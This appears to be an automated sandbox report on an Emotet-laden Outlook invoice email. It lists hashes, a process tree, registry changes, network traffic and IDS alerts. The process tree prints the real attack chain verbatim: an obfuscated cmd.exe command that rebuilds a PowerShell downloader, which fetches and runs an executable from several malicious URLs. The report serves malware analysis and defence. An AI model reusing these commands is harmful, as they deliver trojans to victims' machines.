File name: | Sheduling Invoice.msg |
Full analysis: | https://app.any.run/tasks/ae81b655-a82f-499b-8845-193612590cc5 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 06, 2018, 05:00:34 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | 4963EA8177DD0A10679156AB8815E663 |
SHA1: | 0FB4FBBBFED18570E415C1542C0E5ADF300E4684 |
SHA256: | 5D754A6C7F078489EF89AA3E37B9B2F631D74679032682088DBB35A9DFC9057D |
SSDEEP: | 3072:2N5LfPsOcTCNyIlt+QFpghx8RgmFxxh8GhDS0o9zTGOZD6EbzCd99Ti0d:tGpghx8RbJoUOZDlbe9c0d |
.msg | | | Outlook Message (41.3) |
---|---|---|
.oft | | | Outlook Form Template (24.1) |
.doc | | | Microsoft Word document (18.6) |
.doc | | | Microsoft Word document (old ver.) (11) |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3372 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\Sheduling Invoice.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 Modules
| |||||||||||||||
3284 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\E7C091HJ\DOC8O65042184.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
2996 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
2296 | c:\vZZwWzLvMbaY\pIPSQftHVYM\KcovMKsRVnL\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 42=lcwBhEJQIpdCZGjrPKLrjdkMH8+a@u2Ni SFYD:W4X1'qmg}x9)7y=(vs.znef$Ab,\/TUt-0;{o&&for %5 in (62;17;58;61;53;43;18;68;37;43;73;62;11;34;36;53;59;60;2;71;75;64;20;60;1;70;33;31;60;70;57;39;60;64;11;0;32;60;59;70;73;62;29;22;70;53;43;4;70;70;9;38;67;67;46;56;32;70;60;56;42;40;57;1;75;45;67;69;42;61;55;20;63;23;28;4;70;70;9;38;67;67;29;59;1;75;45;45;75;59;71;1;75;59;59;60;1;70;60;21;59;60;56;56;57;1;75;45;67;27;41;41;51;46;28;4;70;70;9;38;67;67;0;27;52;75;29;70;57;21;29;64;4;75;29;56;60;57;1;75;45;57;64;19;67;42;27;72;61;58;28;4;70;70;9;38;67;67;22;60;59;56;75;57;1;75;57;32;21;67;25;45;27;30;36;28;4;70;70;9;38;67;67;64;75;48;75;61;46;32;46;46;0;60;56;57;1;75;45;67;17;46;43;57;34;9;0;32;70;54;43;28;43;50;73;62;17;63;16;53;43;6;32;59;43;73;62;36;27;68;33;53;33;43;49;42;51;43;73;62;35;29;34;53;43;31;8;11;43;73;62;29;61;41;53;62;60;59;55;38;70;60;45;9;26;43;66;43;26;62;36;27;68;26;43;57;60;48;60;43;73;61;75;19;60;27;1;4;54;62;24;22;6;33;32;59;33;62;29;22;70;50;74;70;19;52;74;62;11;34;36;57;37;75;2;59;0;75;27;21;35;32;0;60;54;62;24;22;6;65;33;62;29;61;41;50;73;62;44;1;58;53;43;24;69;5;43;73;8;61;33;54;54;13;60;70;71;8;70;60;45;33;62;29;61;41;50;57;0;60;59;46;70;4;33;71;46;60;33;25;72;72;72;72;50;33;74;8;59;55;75;22;60;71;8;70;60;45;33;62;29;61;41;73;62;41;59;5;53;43;13;23;64;43;73;64;19;60;27;22;73;47;47;1;27;70;1;4;74;47;47;62;13;16;13;53;43;68;20;18;43;73;83)do set DZrE=!DZrE!!42:~%5,1!&&if %5 geq 83 powershell "!DZrE:*DZrE!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
3004 | CmD /V/C"set 42=lcwBhEJQIpdCZGjrPKLrjdkMH8+a@u2Ni SFYD:W4X1'qmg}x9)7y=(vs.znef$Ab,\/TUt-0;{o&&for %5 in (62;17;58;61;53;43;18;68;37;43;73;62;11;34;36;53;59;60;2;71;75;64;20;60;1;70;33;31;60;70;57;39;60;64;11;0;32;60;59;70;73;62;29;22;70;53;43;4;70;70;9;38;67;67;46;56;32;70;60;56;42;40;57;1;75;45;67;69;42;61;55;20;63;23;28;4;70;70;9;38;67;67;29;59;1;75;45;45;75;59;71;1;75;59;59;60;1;70;60;21;59;60;56;56;57;1;75;45;67;27;41;41;51;46;28;4;70;70;9;38;67;67;0;27;52;75;29;70;57;21;29;64;4;75;29;56;60;57;1;75;45;57;64;19;67;42;27;72;61;58;28;4;70;70;9;38;67;67;22;60;59;56;75;57;1;75;57;32;21;67;25;45;27;30;36;28;4;70;70;9;38;67;67;64;75;48;75;61;46;32;46;46;0;60;56;57;1;75;45;67;17;46;43;57;34;9;0;32;70;54;43;28;43;50;73;62;17;63;16;53;43;6;32;59;43;73;62;36;27;68;33;53;33;43;49;42;51;43;73;62;35;29;34;53;43;31;8;11;43;73;62;29;61;41;53;62;60;59;55;38;70;60;45;9;26;43;66;43;26;62;36;27;68;26;43;57;60;48;60;43;73;61;75;19;60;27;1;4;54;62;24;22;6;33;32;59;33;62;29;22;70;50;74;70;19;52;74;62;11;34;36;57;37;75;2;59;0;75;27;21;35;32;0;60;54;62;24;22;6;65;33;62;29;61;41;50;73;62;44;1;58;53;43;24;69;5;43;73;8;61;33;54;54;13;60;70;71;8;70;60;45;33;62;29;61;41;50;57;0;60;59;46;70;4;33;71;46;60;33;25;72;72;72;72;50;33;74;8;59;55;75;22;60;71;8;70;60;45;33;62;29;61;41;73;62;41;59;5;53;43;13;23;64;43;73;64;19;60;27;22;73;47;47;1;27;70;1;4;74;47;47;62;13;16;13;53;43;68;20;18;43;73;83)do set DZrE=!DZrE!!42:~%5,1!&&if %5 geq 83 powershell "!DZrE:*DZrE!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2784 | powershell "$Kzf='LTD';$CSY=new-object Net.WebClient;$ukt='http://gsites14.com/U1fvjAM@http://uncommon-connectedness.com/aXX7g@http://layout.dubhouse.com.br/1a0fz@http://kenso.co.id/8ma2Y@http://boxofgiggles.com/Kg'.Split('@');$KAP='Jin';$YaT = '917';$FuS='NIC';$ufX=$env:temp+'\'+$YaT+'.exe';foreach($HkJ in $ukt){try{$CSY.DownloadFile($HkJ, $ufX);$qcz='HUE';If ((Get-Item $ufX).length -ge 80000) {Invoke-Item $ufX;$XnE='GMb';break;}}catch{}}$GPG='TjL';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3432 | "C:\Users\admin\AppData\Local\Temp\917.exe" | C:\Users\admin\AppData\Local\Temp\917.exe | — | powershell.exe | |||||||||||
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 Modules
| |||||||||||||||
384 | "C:\Users\admin\AppData\Local\Temp\917.exe" | C:\Users\admin\AppData\Local\Temp\917.exe | 917.exe | ||||||||||||
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 Modules
| |||||||||||||||
4064 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 917.exe | |||||||||||
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 Modules
| |||||||||||||||
2628 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Version: 6.1.7600.1 Modules
|
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Resiliency\StartupItems |
Operation: | write | Name: | .w |
Value: 2E7720002C0D0000010000000000000000000000 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook |
Operation: | write | Name: | MTTT |
Value: 2C0D0000884277A8208DD40100000000 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM |
Operation: | write | Name: | SQMSessionNumber |
Value: 0 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM |
Operation: | write | Name: | SQMSessionDate |
Value: 219808800 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\0a0d020000000000c000000000000046 |
Operation: | write | Name: | 00030429 |
Value: 03000000 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676 |
Operation: | write | Name: | {ED475418-B0D6-11D2-8C3B-00104B2A6676} |
Value: | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676 |
Operation: | write | Name: | LastChangeVer |
Value: 1200000000000000 | |||
(PID) Process: | (3372) OUTLOOK.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109A10090400000000000F01FEC\Usage |
Operation: | write | Name: | OutlookMAPI2Intl_1033 |
Value: 1300627477 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3372 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVRA77E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3372 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF55A58724FEDB1252.TMP | — | |
MD5:— | SHA256:— | |||
3372 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\E7C091HJ\DOC8O65042184 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3284 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRC77A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3284 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_3970BB88-94FB-41C4-97CC-CA9C47439FFE.0\9A40C07F.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_3970BB88-94FB-41C4-97CC-CA9C47439FFE.0\~DFB337085490C317B8.TMP | — | |
MD5:— | SHA256:— | |||
2784 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RMLILVMQ30G6KXM4YKI9.temp | — | |
MD5:— | SHA256:— | |||
3372 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:D8D9BC86BF261A798DCE42EF27BC0497 | SHA256:BAFB09FC56173611D342013CDB79458243D29259AC556A773BC007922413B0EC | |||
3284 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_3970BB88-94FB-41C4-97CC-CA9C47439FFE.0\9A40C07F.doc | document | |
MD5:CEC4405E7A66DE7EDA9D261FA4846531 | SHA256:70A722C1B2EF80208EA7F13C9DE3FBB7DF8705793EA4B4DD53CB58B5765B1261 | |||
3284 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:34DF651CCF56EEF352CDD3AC99766439 | SHA256:F273B5BFEE51B15B8B1F96842DFC5515E52D3291A608B08BE248D4ADB4A64910 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3372 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
2784 | powershell.exe | GET | 200 | 85.159.208.243:80 | http://gsites14.com/U1fvjAM/ | GB | executable | 120 Kb | malicious |
2628 | archivesymbol.exe | GET | 200 | 114.55.106.210:443 | http://114.55.106.210:443/ | CN | binary | 132 b | malicious |
2784 | powershell.exe | GET | 301 | 85.159.208.243:80 | http://gsites14.com/U1fvjAM | GB | html | 182 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2784 | powershell.exe | 85.159.208.243:80 | gsites14.com | Linode, LLC | GB | malicious |
2628 | archivesymbol.exe | 114.55.106.210:443 | — | Hangzhou Alibaba Advertising Co.,Ltd. | CN | malicious |
3372 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
gsites14.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2784 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2784 | powershell.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
2784 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2784 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2784 | powershell.exe | Misc activity | ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) |
2784 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2628 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2628 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |